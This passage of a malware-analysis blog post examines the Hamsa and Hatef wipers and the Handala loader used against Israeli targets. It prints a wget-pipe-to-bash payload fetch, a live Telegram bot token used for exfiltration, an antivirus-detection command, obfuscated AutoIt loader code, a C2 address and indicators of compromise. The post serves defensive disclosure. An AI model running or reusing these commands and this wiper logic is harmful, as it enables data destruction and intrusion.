directories within &lt;code&gt;Users&lt;/code&gt;, &lt;code&gt;Program Files&lt;/code&gt;, &lt;code&gt;Program Files (x86)&lt;/code&gt;, and
&lt;code&gt;Windows&lt;/code&gt;, employing the &lt;code&gt;ProcessDirectory&lt;/code&gt; method to enumerate all files
within these paths recursively. Once files are deleted, and directories are
left empty, it uses an &lt;strong&gt;incorrectly spelled method&lt;/strong&gt;, &lt;strong&gt;&lt;code&gt;DeleteDrirectorys&lt;/code&gt;&lt;/strong&gt;,
to remove these now-obsolete directories.&lt;/p&gt;
&lt;p&gt;During its operation, the wiper sends periodic updates to a predetermined
Telegram chat, likely to inform its controllers about the ongoing progress or
notify them when the task is completed. The dispatched information comprises
the external IP address of the infected computer, the hostname, a timestamp,
and a count of &amp;ldquo;Undeleted files&amp;rdquo; within critical file system locations such as
the Windows directory and Program Files directories. This count is formatted to
show the number of files that the malware has not managed to delete up to that
point. This communication strategy serves as a means of real-time reporting on
malicious activities, offering the attackers updates and insights into the
efficacy of their attack.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2023/12/stealth-wiper-israeli-infrastructure/images/fig6.png" title="Analysis of Hatef Wiper" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Analysis of Hatef Wiper&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;a href="https://analyze.intezer.com/files/64c5fd791ee369082273b685f724d5916bd4cad756750a5fe953c4005bb5428c?utm_campaign=research-blog&amp;amp;utm_content=stealth-wiper-israeli-infrastructure&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;Analysis&lt;/a&gt;
of Hatef Wiper&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;Linux Payload: Hamsa Wiper&lt;span class="hx:absolute hx:-mt-20" id="linux-payload-hamsa-wiper"&gt;&lt;/span&gt;
&lt;a href="#linux-payload-hamsa-wiper" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The analysis of the downloaded script revealed an obfuscated payload concealed
within. The payload, obscured using a series of five Base64 encoding steps, is
executed using the &lt;code&gt;eval&lt;/code&gt; command. Upon decoding, it reveals a bash script
engineered to conduct a data-wiping operation. The decoded script is in the
IOCs section. Because there are five Base64 operations on that script. We named
the wiper Hamsa (five in Arabic).&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;wget -O - https://sjc1.vultrobjects.com/f5update/update.sh | bash&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;After masquerading as a routine update, the script strategically pauses for 30
minutes. This delay creates a deceptive appearance of typical system behavior
during this period. In the meantime, the script accomplishes reconnaissance to
identify the Linux distribution in use, whether it be Red Hat, Ubuntu, or
Debian. Subsequently, it quietly installs necessary tools, such as &lt;code&gt;xfsprogs&lt;/code&gt;,
&lt;code&gt;wipe&lt;/code&gt;, and &lt;code&gt;parted&lt;/code&gt;, which are pivotal for later tasks involving disk
partition manipulation and the secure erasure of data.&lt;/p&gt;
&lt;p&gt;Like its Windows variant, this wiper version transmits data to the same
Telegram channel. The shared information aligns with what&amp;rsquo;s sent by the Windows
variant but adds specific details, such as the system directory&amp;rsquo;s drive letter
and prepared information on disk space. The data is organized with clear
headers and separators to facilitate understanding, forming a structured log
that allows the attackers to track and assess the impact of their infiltration.&lt;/p&gt;
&lt;p&gt;Progressing with malicious intentions, the script enumerates all user accounts
with an ID number exceeding 999. It systematically eliminates these accounts
and obliterates their associated files. This is achieved by harnessing the
secure deletion capabilities of the &lt;code&gt;wipe&lt;/code&gt; command within the users&amp;rsquo; home
directories.&lt;/p&gt;
&lt;p&gt;Additionally, the script outlines a function called &lt;code&gt;remove_os_file&lt;/code&gt;. This
function is designed to delete important system files in key folders like
&lt;code&gt;/bin&lt;/code&gt;, &lt;code&gt;/sbin&lt;/code&gt;, &lt;code&gt;/usr/bin&lt;/code&gt;, and &lt;code&gt;/usr/sbin&lt;/code&gt;. Interestingly, it does not delete
the files for rebooting the system or removing files (&lt;code&gt;reboot&lt;/code&gt; and &lt;code&gt;rm&lt;/code&gt;
utilities), which hints that they might be needed for later parts of the
process.&lt;/p&gt;
&lt;p&gt;Next, the wiper checks the mounted partitions—excluding the root partition—by
unmounting them and then initializing a new GPT partition table. It generates a
new partition, conducts an integrity check via &lt;code&gt;parted&lt;/code&gt;, and invokes a part
probe to re-read the partition table. Finally, it formats the newly created
partition using the XFS file system, obliterating any data remnants on these
partitions.&lt;/p&gt;
&lt;p&gt;Upon the successful wiping of the file systems, the script once again utilizes
the &lt;code&gt;send_telegram_message&lt;/code&gt; function to report the completion of the &amp;ldquo;cleaning
process&amp;rdquo; to its operators via Telegram. Lastly, the script invokes the
&lt;code&gt;remove_os_file&lt;/code&gt; function to wipe system binaries. Then, it ensures the
system&amp;rsquo;s inability to recover by executing a &lt;code&gt;reboot&lt;/code&gt; command to restart the
compromised machine, leaving it inoperable.&lt;/p&gt;
&lt;h3&gt;Infrastructure&lt;span class="hx:absolute hx:-mt-20" id="infrastructure"&gt;&lt;/span&gt;
&lt;a href="#infrastructure" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The wiper sends reconnaissance information to a Telegram channel. In both the
Windows and the Linux variants, the &lt;em&gt;Bot ID&lt;/em&gt; and the &lt;em&gt;Channel ID&lt;/em&gt; are
identical.&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;Bot Id: 6428401585:AAGE6SbwtVJxOpLjdMcrL45gb18H9UV7tQA
Channel Id: 6932028002&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h3&gt;Delphi Loader: Handala&lt;span class="hx:absolute hx:-mt-20" id="delphi-loader-handala"&gt;&lt;/span&gt;
&lt;a href="#delphi-loader-handala" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;As previously noted, one of the loaders unpacks a Delphi second-stage loader
named &lt;strong&gt;Handala&lt;/strong&gt;. The core logic of the loader is within a function known as
&lt;strong&gt;&lt;code&gt;PixLawsuit&lt;/code&gt;&lt;/strong&gt;. The loader conceals its strings with a simple obfuscation
method that involves the use of an ADD operation.&lt;/p&gt;
&lt;p&gt;Once initiated, Handala executes an obfuscated script called &lt;code&gt;Closest&lt;/code&gt;. Its
goal is to detect any active security software that could disrupt the attack&amp;rsquo;s
progression and disable it. This is achieved by listing all active tasks and
filtering for names of processes typically associated with security
applications using the &lt;code&gt;findstr&lt;/code&gt; command.&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;tasklist
findstr.exe findstr /I &amp;#34;avastui.exe avgui.exe nswscsvc.exe sophoshealth.exe&amp;#34;
findstr /I &amp;#34;wrsa.exe&amp;#34;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Next, Handala concatenates the contents of files named &lt;code&gt;Bw&lt;/code&gt;, &lt;code&gt;Vessels&lt;/code&gt;, &lt;code&gt;Boy&lt;/code&gt;,
and &lt;code&gt;Conventions&lt;/code&gt; into a unified file called &lt;strong&gt;&lt;code&gt;Naples.pif&lt;/code&gt;&lt;/strong&gt;, which is located
within a directory it creates for this purpose. Similarly, it concatenates
content from files named &lt;code&gt;Beastiality&lt;/code&gt;, &lt;code&gt;Bicycle&lt;/code&gt;, and &lt;code&gt;Employee&lt;/code&gt; into another
single file named &lt;strong&gt;&lt;code&gt;k&lt;/code&gt;&lt;/strong&gt; within the same folder. After this consolidation
process, Handala executes the &lt;code&gt;Naples.pif&lt;/code&gt; file while supplying &lt;code&gt;k&lt;/code&gt; as an
argument.&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;cmd.exe 1428 cmd /c mkdir 30828
cmd.exe 792 cmd /c copy /b Bw &amp;#43; Vessels &amp;#43; Boy &amp;#43; Conventions 30828Naples.pif
cmd.exe 2788 cmd /c copy /b Beastiality &amp;#43; Bicycle &amp;#43; Employee 30828k
Naples.pif 30828Naples.pif 30828k&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The file &lt;code&gt;Naples.pif&lt;/code&gt; is a renamed AutoIt interpreter, further advancing the
attack sequence. A &lt;code&gt;.pif&lt;/code&gt; (Program Information File) extension could be a
strategic move to camouflage the file as a shortcut reminiscent of those
utilized in older Windows operating systems.&lt;/p&gt;
&lt;p&gt;The AutoIt loader itself is not a new tool; it has established a reputation for
delivering various forms of threats based on the arguments it receives. For
this particular attack, the argument fed to it is another obfuscated AutoIt
script, indicative of the layered complexity within this multifaceted cyber
threat.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left"&gt;SHA256&lt;/th&gt;
&lt;th style="text-align: left"&gt;Type&lt;/th&gt;
&lt;th style="text-align: left"&gt;File Name&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;f58d3a4b2f3f7f10815c24586fae91964eeed830369e7e0701b43895b0cefbd3&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;AutoIt Interpreter&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;Naples.pif&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;aae989743dddc84adef90622c657e45e23386488fa79d7fe7cf0863043b8acd4&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;Obfuscated AutoIt Script&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;k&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;In this variant, the script is obfuscated and contains redundant function calls
and meaningless strings. Each string is obfuscated through a simple encoding
process.&lt;/p&gt;
&lt;p&gt;This decoding process mirrors that of the Delphi loader, with the distinction
that it utilizes the SUB operation instead. To decode these strings, we must
first eliminate the &lt;code&gt;^&lt;/code&gt; character. Afterward, we decode by subtracting the
value of each character in the garbled string from the value of the second
parameter provided to the &lt;code&gt;STAFFING&lt;/code&gt; function.&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;$testamentquartermechanicsmechanical = DllStructCreate(STAFFING(&amp;#34;107^130^125^110^100&amp;#34;,45/5) &amp;amp; BinaryLen($ProminentTechrepublicDamageSkype) &amp;amp; STAFFING(&amp;#34;93&amp;#34;,0/9), DllCall(STAFFING(&amp;#34;116^110^123^119^110^117^60^59^55^109^117^117&amp;#34;,81/9), STAFFING(&amp;#34;116^120^118&amp;#34;,16/4), STAFFING(&amp;#34;92^111^120^122^123^103^114^71^114^114^117^105&amp;#34;,24/4), STAFFING(&amp;#34;116^120^118&amp;#34;,16/4), 0, STAFFING(&amp;#34;122^113^116^115^108^100^117^121^119&amp;#34;,10/2), BinaryLen($ProminentTechrepublicDamageSkype), STAFFING(&amp;#34;100^119^111^114^100&amp;#34;,0/2), 0x00001000, STAFFING(&amp;#34;100^119^111^114^100&amp;#34;,0/2), 0x00000040)[0])&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2023/12/stealth-wiper-israeli-infrastructure/images/fig7.png" title="Snippet of the decoded AutoIt script." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Snippet of the decoded AutoIt script.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Upon execution, the script&amp;rsquo;s primary task is to inject a piece of shellcode
that implements the RC4 stream cipher. This shellcode&amp;rsquo;s purpose is singular –
to decrypt another payload.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2023/12/stealth-wiper-israeli-infrastructure/images/fig8.png" title="RC4 shellcode used to decrypt payload." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;RC4 shellcode used to decrypt payload.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Once decrypted, it is decompressed using &lt;code&gt;RtlDecompressFragment&lt;/code&gt;, the algorithm
that is being used is LZNT1. The product name and description based on exif
information is &lt;strong&gt;FlashDevelop&lt;/strong&gt;, and we will refer to it by this name. The
purpose of FlashDevelop is to unpack and execute more shellcode into
&lt;code&gt;dialer.exe&lt;/code&gt; and &lt;code&gt;dllhost.exe&lt;/code&gt;. The code injected into &lt;code&gt;dllhost&lt;/code&gt; communicates
with a C2 server over HTTPS at &lt;code&gt;31.192.237[.]207:2515&lt;/code&gt;. The geolocation of the
IP is in Chelyabinsk, Russia. Next, the code is then injected into a Windows
Media Player Process. The executable used varies each time (&lt;code&gt;wmpshare.exe&lt;/code&gt;,
&lt;code&gt;wmpenc.exe&lt;/code&gt;, &lt;code&gt;wmlaunch.exe&lt;/code&gt; etc.).&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2023/12/stealth-wiper-israeli-infrastructure/images/fig9.png" title="Process Hacker during the shellcode execution." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Process Hacker during the shellcode execution.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The Handala loader initiates a complex sequence involving a series of
additional loaders, which encompass obfuscated scripts and shellcode. Although
the ultimate objective of this orchestrated execution chain remains ambiguous,
it clearly indicates a more intricate effort to compromise the target machine.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left"&gt;SHA256&lt;/th&gt;
&lt;th style="text-align: left"&gt;Type&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;336167b8c5cfc5cd330502e7aa515cc133656e12cbedb4b41ebbf847347b2767&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;Win32 EXE (FlashDevelop)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Conclusions&lt;span class="hx:absolute hx:-mt-20" id="conclusions"&gt;&lt;/span&gt;
&lt;a href="#conclusions" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The Hamsa Wiper campaign represents a sophisticated and highly targeted attack
on Israeli infrastructure. Using meticulously written emails in Hebrew,
attackers have wielded advanced social engineering techniques to deliver a
multi-faceted malware package, ultimately wiping data across Windows and Linux
servers.&lt;/p&gt;
&lt;p&gt;Our analysis highlighted key components of the malware, such as the intricate
multi-stage loading process involving obfuscated scripts, the Delphi-coded
second-stage loader, and the Handala AutoIt injector. By utilizing this complex
chain, the malware bypassed traditional security measures resulting in a robust
and effective cyber attack.&lt;/p&gt;
&lt;h2&gt;IOCs&lt;span class="hx:absolute hx:-mt-20" id="iocs"&gt;&lt;/span&gt;
&lt;a href="#iocs" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;31.192.237[.]207:2515
https://sjc1.vultrobjects.com/f5update/update[.]sh
8f69c9bb80b210466b887d2b16c68600
8bdd1cb717aa2bd03c12c8b4c9df2d94&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left"&gt;SHA256&lt;/th&gt;
&lt;th style="text-align: left"&gt;Type&lt;/th&gt;
&lt;th style="text-align: left"&gt;Filename&lt;/th&gt;
&lt;th style="text-align: left"&gt;Signed?&lt;/th&gt;
&lt;th style="text-align: left"&gt;Contained in the zip&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;fe07dca68f288a4f6d7cbd34d79bb70bc309635876298d4fde33c25277e30bd2&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;Windows Executable .NET&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;F5UPDATER.exe&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;Yes &lt;a href="https://www.virustotal.com/gui/search/signature%253AF5UPDATER/files"target="_blank" rel="noopener"&gt;signature:F5UPDATER&lt;/a&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;ca9bf13897af109cb354f2629c10803966eb757ee4b2e468abc04e7681d0d74a&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;Windows Executable .NET&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;F5UPDATER.exe&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;Yes &lt;a href="https://www.virustotal.com/gui/search/signature%253AF5UPDATER/files"target="_blank" rel="noopener"&gt;signature:F5UPDATER&lt;/a&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;e28085e8d64bb737721b1a1d494f177e571c47aab7c9507dba38253f6183af35&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;Windows Executable .NET&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;Hatef.exe&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;No&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;454e6d3782f23455875a5db64e1a8cd8eb743400d8c6dadb1cd8fd2ffc2f9567&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;Windows Executable Delphi&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;Handala.exe&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;No&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;6f79c0e0e1aab63c3aba0b781e0e46c95b5798b2d4f7b6ecac474b5c40b840ad&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;Encrypted bash script&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;update.sh&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;-&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;ad66251d9e8792cf4963b0c97f7ab44c8b68101e36b79abc501bee1807166e8a&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;ZIP&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;-&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;fe07dca68f288a4f6d7cbd34d79bb70bc309635876298d4fde33c25277e30bd2&lt;/code&gt;,&lt;br&gt;&lt;code&gt;e28085e8d64bb737721b1a1d494f177e571c47aab7c9507dba38253f6183af35&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;64c5fd791ee369082273b685f724d5916bd4cad756750a5fe953c4005bb5428c&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;ZIP&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;-&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;ca9bf13897af109cb354f2629c10803966eb757ee4b2e468abc04e7681d0d74a&lt;/code&gt;,&lt;br&gt;&lt;code&gt;5d741f9af9da7ce79132daa37a200afed1cb0c28e47de35d127113d69cbab13d&lt;/code&gt;,&lt;br&gt;&lt;code&gt;e28085e8d64bb737721b1a1d494f177e571c47aab7c9507dba38253f6183af35&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;336167b8c5cfc5cd330502e7aa515cc133656e12cbedb4b41ebbf847347b2767&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;Windows Executable&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;FlashDevelop&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;No&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;f58d3a4b2f3f7f10815c24586fae91964eeed830369e7e0701b43895b0cefbd3&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;AutoIt Interpreter&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;Naples.pif&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;No&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;aae989743dddc84adef90622c657e45e23386488fa79d7fe7cf0863043b8acd4&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;Obfuscated AutoIt Script&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;k&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;No&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Decoded &lt;code&gt;update.sh&lt;/code&gt; script - Linux Wiper Version:&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#!/bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;********************************,,,,,,,,,,,,,,,,,*******************************
